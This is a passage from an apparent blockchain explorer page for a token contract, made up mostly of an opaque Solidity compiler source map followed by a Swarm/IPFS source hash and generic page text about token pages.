;964:6;960:47;;-1:-1:-1;994:1:0;987:8;;960:47;1017:9;1029:5;1033:1;1029;:5;:::i;:::-;1017:17;-1:-1:-1;1062:1:0;1053:5;1057:1;1017:17;1053:5;:::i;:::-;:10;1045:56;;;;-1:-1:-1;;;1045:56:0;;;;;;;:::i;1136:132::-;1194:7;1221:39;1225:1;1228;1221:39;;;;;;;;;;;;;;;;;:3;:39::i;12262:356::-;12319:28;12350:24;12368:4;12350:9;:24::i;:::-;12319:55;;12414:17;;12391:20;:40;12387:178;;;12448:105;12483:55;12487:10;12499:38;12503:20;12525:11;;12499:3;:38::i;:::-;12483:3;:55::i;:::-;12448:16;:105::i;:::-;12575:35;12588:21;12575:12;:35::i;11770:261::-;11855:13;;11851:173;;11930:4;11912:24;;;;:9;:24;;;;;;:39;;11941:9;11912:28;:39::i;:::-;11903:4;11885:24;;;;:9;:24;;;;;;;:66;;;;11971:41;;-1:-1:-1;;;;;11971:41:0;;;;;;;12002:9;;11971:41;:::i;:::-;;;;;;;;11770:261;;:::o;12039:215::-;-1:-1:-1;;;;;12152:27:0;;12128:7;12152:27;;;:19;:27;;;;;;;;12148:58;;12197:9;:5;12205:1;12197:9;:::i;:::-;12188:18;;:6;:18;:::i;:::-;12181:25;;;;12148:58;12232:14;12240:6;12232:5;:14;:::i;:::-;12224:22;;:5;:22;:::i;11436:326::-;-1:-1:-1;;;;;11615:15:0;;;;;;:9;:15;;;;;;:31;;11635:10;11615:19;:31::i;:::-;-1:-1:-1;;;;;11597:15:0;;;;;;;:9;:15;;;;;;:49;;;;11673:13;;;;;;;:32;;11691:13;11673:17;:32::i;:::-;-1:-1:-1;;;;;11657:13:0;;;;;;;:9;:13;;;;;;;:48;;;;11721:33;;;;;;;;;;11740:13;;11721:33;:::i;:::-;;;;;;;;11436:326;;;;:::o;1276:223::-;1396:7;1431:12;1424:5;1416:28;;;;-1:-1:-1;;;1416:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1455:9:0;1467:5;1471:1;1467;:5;:::i;12626:107::-;12683:7;12715:1;12711;:5;12710:15;;12724:1;12710:15;;;-1:-1:-1;12720:1:0;12626:107;-1:-1:-1;12626:107:0:o;12741:480::-;5280:6;:13;;-1:-1:-1;;;;5280:13:0;-1:-1:-1;;;5280:13:0;;;12842:16:::1;::::0;;12856:1:::1;12842:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12842:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12842:16:0::1;12818:40;;12887:4;12869;12874:1;12869:7;;;;;;-1:-1:-1::0;;;12869:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;12869:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12913:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12913:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12869:7;;12913:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12903:4;12908:1;12903:7;;;;;;-1:-1:-1::0;;;12903:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;12903:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12978:15:::1;::::0;12946:61:::1;::::0;12963:4:::1;::::0;12978:15:::1;12996:10:::0;12946:8:::1;:61::i;:::-;13018:15;::::0;:195:::1;::::0;-1:-1:-1;;;13018:195:0;;-1:-1:-1;;;;;13018:15:0;;::::1;::::0;:66:::1;::::0;:195:::1;::::0;13099:10;;13018:15:::1;::::0;13140:4;;13167::::1;::::0;13187:15:::1;::::0;13018:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5316:6:0;:14;;-1:-1:-1;;;;5316:14:0;;;-1:-1:-1;;;;12741:480:0:o;14:138:1:-;84:20;;113:33;84:20;113:33;:::i;157:259::-;;269:2;257:9;248:7;244:23;240:32;237:2;;;290:6;282;275:22;237:2;334:9;321:23;353:33;380:5;353:33;:::i;421:263::-;;544:2;532:9;523:7;519:23;515:32;512:2;;;565:6;557;550:22;512:2;602:9;596:16;621:33;648:5;621:33;:::i;689:402::-;;;818:2;806:9;797:7;793:23;789:32;786:2;;;839:6;831;824:22;786:2;883:9;870:23;902:33;929:5;902:33;:::i;:::-;954:5;-1:-1:-1;1011:2:1;996:18;;983:32;1024:35;983:32;1024:35;:::i;:::-;1078:7;1068:17;;;776:315;;;;;:::o;1096:470::-;;;;1242:2;1230:9;1221:7;1217:23;1213:32;1210:2;;;1263:6;1255;1248:22;1210:2;1307:9;1294:23;1326:33;1353:5;1326:33;:::i;:::-;1378:5;-1:-1:-1;1435:2:1;1420:18;;1407:32;1448:35;1407:32;1448:35;:::i;:::-;1200:366;;1502:7;;-1:-1:-1;;;1556:2:1;1541:18;;;;1528:32;;1200:366::o;1571:327::-;;;1700:2;1688:9;1679:7;1675:23;1671:32;1668:2;;;1721:6;1713;1706:22;1668:2;1765:9;1752:23;1784:33;1811:5;1784:33;:::i;:::-;1836:5;1888:2;1873:18;;;;1860:32;;-1:-1:-1;;;1658:240:1:o;1903:1166::-;;2018:2;2061;2049:9;2040:7;2036:23;2032:32;2029:2;;;2082:6;2074;2067:22;2029:2;2127:9;2114:23;2156:18;2197:2;2189:6;2186:14;2183:2;;;2218:6;2210;2203:22;2183:2;2261:6;2250:9;2246:22;2236:32;;2306:7;2299:4;2295:2;2291:13;2287:27;2277:2;;2333:6;2325;2318:22;2277:2;2374;2361:16;2396:2;2392;2389:10;2386:2;;;2402:18;;:::i;:::-;2449:2;2445;2441:11;2481:2;2475:9;2532:2;2527;2519:6;2515:15;2511:24;2585:6;2573:10;2570:22;2565:2;2553:10;2550:18;2547:46;2544:2;;;2596:18;;:::i;:::-;2632:2;2625:22;2682:18;;;2716:15;;;;-1:-1:-1;2751:11:1;;;2781;;;2777:20;;2774:33;-1:-1:-1;2771:2:1;;;2825:6;2817;2810:22;2771:2;2852:6;2843:15;;2867:171;2881:2;2878:1;2875:9;2867:171;;;2938:25;2959:3;2938:25;:::i;:::-;2926:38;;2899:1;2892:9;;;;;2984:12;;;;3016;;2867:171;;;-1:-1:-1;3057:6:1;1998:1071;-1:-1:-1;;;;;;;;1998:1071:1:o;3074:297::-;;3194:2;3182:9;3173:7;3169:23;3165:32;3162:2;;;3215:6;3207;3200:22;3162:2;3252:9;3246:16;3305:5;3298:13;3291:21;3284:5;3281:32;3271:2;;3332:6;3324;3317:22;3376:316;;;;3533:2;3521:9;3512:7;3508:23;3504:32;3501:2;;;3554:6;3546;3539:22;3501:2;3588:9;3582:16;3572:26;;3638:2;3627:9;3623:18;3617:25;3607:35;;3682:2;3671:9;3667:18;3661:25;3651:35;;3491:201;;;;;:::o;3697:203::-;-1:-1:-1;;;;;3861:32:1;;;;3843:51;;3831:2;3816:18;;3798:102::o;3905:304::-;-1:-1:-1;;;;;4135:15:1;;;4117:34;;4187:15;;4182:2;4167:18;;4160:43;4067:2;4052:18;;4034:175::o;4214:274::-;-1:-1:-1;;;;;4406:32:1;;;;4388:51;;4470:2;4455:18;;4448:34;4376:2;4361:18;;4343:145::o;4493:607::-;-1:-1:-1;;;;;4852:15:1;;;4834:34;;4899:2;4884:18;;4877:34;;;;4942:2;4927:18;;4920:34;;;;4985:2;4970:18;;4963:34;;;;5034:15;;;5028:3;5013:19;;5006:44;4814:3;5066:19;;5059:35;;;;4783:3;4768:19;;4750:350::o;5105:187::-;5270:14;;5263:22;5245:41;;5233:2;5218:18;;5200:92::o;5297:603::-;;5438:2;5467;5456:9;5449:21;5499:6;5493:13;5542:6;5537:2;5526:9;5522:18;5515:34;5567:4;5580:140;5594:6;5591:1;5588:13;5580:140;;;5689:14;;;5685:23;;5679:30;5655:17;;;5674:2;5651:26;5644:66;5609:10;;5580:140;;;5738:6;5735:1;5732:13;5729:2;;;5808:4;5803:2;5794:6;5783:9;5779:22;5775:31;5768:45;5729:2;-1:-1:-1;5884:2:1;5863:15;-1:-1:-1;;5859:29:1;5844:45;;;;5891:2;5840:54;;5418:482;-1:-1:-1;;;5418:482:1:o;5905:399::-;6107:2;6089:21;;;6146:2;6126:18;;;6119:30;6185:34;6180:2;6165:18;;6158:62;-1:-1:-1;;;6251:2:1;6236:18;;6229:33;6294:3;6279:19;;6079:225::o;6309:349::-;6511:2;6493:21;;;6550:2;6530:18;;;6523:30;6589:27;6584:2;6569:18;;6562:55;6649:2;6634:18;;6483:175::o;6663:398::-;6865:2;6847:21;;;6904:2;6884:18;;;6877:30;6943:34;6938:2;6923:18;;6916:62;-1:-1:-1;;;7009:2:1;6994:18;;6987:32;7051:3;7036:19;;6837:224::o;7066:351::-;7268:2;7250:21;;;7307:2;7287:18;;;7280:30;7346:29;7341:2;7326:18;;7319:57;7408:2;7393:18;;7240:177::o;7422:397::-;7624:2;7606:21;;;7663:2;7643:18;;;7636:30;7702:34;7697:2;7682:18;;7675:62;-1:-1:-1;;;7768:2:1;7753:18;;7746:31;7809:3;7794:19;;7596:223::o;7824:356::-;8026:2;8008:21;;;8045:18;;;8038:30;8104:34;8099:2;8084:18;;8077:62;8171:2;8156:18;;7998:182::o;8185:405::-;8387:2;8369:21;;;8426:2;8406:18;;;8399:30;8465:34;8460:2;8445:18;;8438:62;-1:-1:-1;;;8531:2:1;8516:18;;8509:39;8580:3;8565:19;;8359:231::o;8595:401::-;8797:2;8779:21;;;8836:2;8816:18;;;8809:30;8875:34;8870:2;8855:18;;8848:62;-1:-1:-1;;;8941:2:1;8926:18;;8919:35;8986:3;8971:19;;8769:227::o;9001:350::-;9203:2;9185:21;;;9242:2;9222:18;;;9215:30;9281:28;9276:2;9261:18;;9254:56;9342:2;9327:18;;9175:176::o;9356:400::-;9558:2;9540:21;;;9597:2;9577:18;;;9570:30;9636:34;9631:2;9616:18;;9609:62;-1:-1:-1;;;9702:2:1;9687:18;;9680:34;9746:3;9731:19;;9530:226::o;9761:347::-;9963:2;9945:21;;;10002:2;9982:18;;;9975:30;10041:25;10036:2;10021:18;;10014:53;10099:2;10084:18;;9935:173::o;10113:177::-;10259:25;;;10247:2;10232:18;;10214:76::o;10295:983::-;;10605:3;10594:9;10590:19;10636:6;10625:9;10618:25;10662:2;10700:6;10695:2;10684:9;10680:18;10673:34;10743:3;10738:2;10727:9;10723:18;10716:31;10767:6;10802;10796:13;10833:6;10825;10818:22;10871:3;10860:9;10856:19;10849:26;;10910:2;10902:6;10898:15;10884:29;;10931:4;10944:195;10958:6;10955:1;10952:13;10944:195;;;11023:13;;-1:-1:-1;;;;;11019:39:1;11007:52;;11114:15;;;;11079:12;;;;11055:1;10973:9;10944:195;;;-1:-1:-1;;;;;;;11195:32:1;;;;11190:2;11175:18;;11168:60;-1:-1:-1;;;11259:3:1;11244:19;11237:35;11156:3;10566:712;-1:-1:-1;;;10566:712:1:o;11283:184::-;11455:4;11443:17;;;;11425:36;;11413:2;11398:18;;11380:87::o;11472:128::-;;11543:1;11539:6;11536:1;11533:13;11530:2;;;11549:18;;:::i;:::-;-1:-1:-1;11585:9:1;;11520:80::o;11605:217::-;;11671:1;11661:2;;-1:-1:-1;;;11696:31:1;;11750:4;11747:1;11740:15;11778:4;11703:1;11768:15;11661:2;-1:-1:-1;11807:9:1;;11651:171::o;11827:453::-;11923:6;11946:5;11960:314;12009:1;12046:2;12036:8;12033:16;12023:2;;12053:5;;;12023:2;12094:4;12089:3;12085:14;12079:4;12076:24;12073:2;;;12103:18;;:::i;:::-;12153:2;12143:8;12139:17;12136:2;;;12168:16;;;;12136:2;12247:17;;;;;12207:15;;11960:314;;;11904:376;;;;;;;:::o;12285:148::-;;12372:55;-1:-1:-1;;12413:4:1;12399:19;;12393:4;12438:922;12522:8;12512:2;;-1:-1:-1;12563:1:1;12577:5;;12512:2;12611:4;12601:2;;-1:-1:-1;12648:1:1;12662:5;;12601:2;12693:4;12711:1;12706:59;;;;12779:1;12774:183;;;;12686:271;;12706:59;12736:1;12727:10;;12750:5;;;12774:183;12811:3;12801:8;12798:17;12795:2;;;12818:18;;:::i;:::-;12874:1;12864:8;12860:16;12851:25;;12902:3;12895:5;12892:14;12889:2;;;12909:18;;:::i;:::-;12942:5;;;12686:271;;13041:2;13031:8;13028:16;13022:3;13016:4;13013:13;13009:36;13003:2;12993:8;12990:16;12985:2;12979:4;12976:12;12972:35;12969:77;12966:2;;;-1:-1:-1;13078:19:1;;;13113:14;;;13110:2;;;13130:18;;:::i;:::-;13163:5;;12966:2;13210:42;13248:3;13238:8;13232:4;13229:1;13210:42;:::i;:::-;13285:6;13280:3;13276:16;13267:7;13264:29;13261:2;;;13296:18;;:::i;:::-;13334:20;;12502:858;-1:-1:-1;;;;12502:858:1:o;13365:168::-;;13471:1;13467;13463:6;13459:14;13456:1;13453:21;13448:1;13441:9;13434:17;13430:45;13427:2;;;13478:18;;:::i;:::-;-1:-1:-1;13518:9:1;;13417:116::o;13538:125::-;;13606:1;13603;13600:8;13597:2;;;13611:18;;:::i;:::-;-1:-1:-1;13648:9:1;;13587:76::o;13668:135::-;;-1:-1:-1;;13728:17:1;;13725:2;;;13748:18;;:::i;:::-;-1:-1:-1;13795:1:1;13784:13;;13715:88::o;13808:127::-;13869:10;13864:3;13860:20;13857:1;13850:31;13900:4;13897:1;13890:15;13924:4;13921:1;13914:15;13940:127;14001:10;13996:3;13992:20;13989:1;13982:31;14032:4;14029:1;14022:15;14056:4;14053:1;14046:15;14072:133;-1:-1:-1;;;;;14149:31:1;;14139:42;;14129:2;;14195:1;14192;14185:12;14129:2;14119:86;:::o

Swarm Source

ipfs://bb7e1f19d5c8d41145e0bd0a001cd5e3820e20e6120e8825b63f177c265edcc5
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.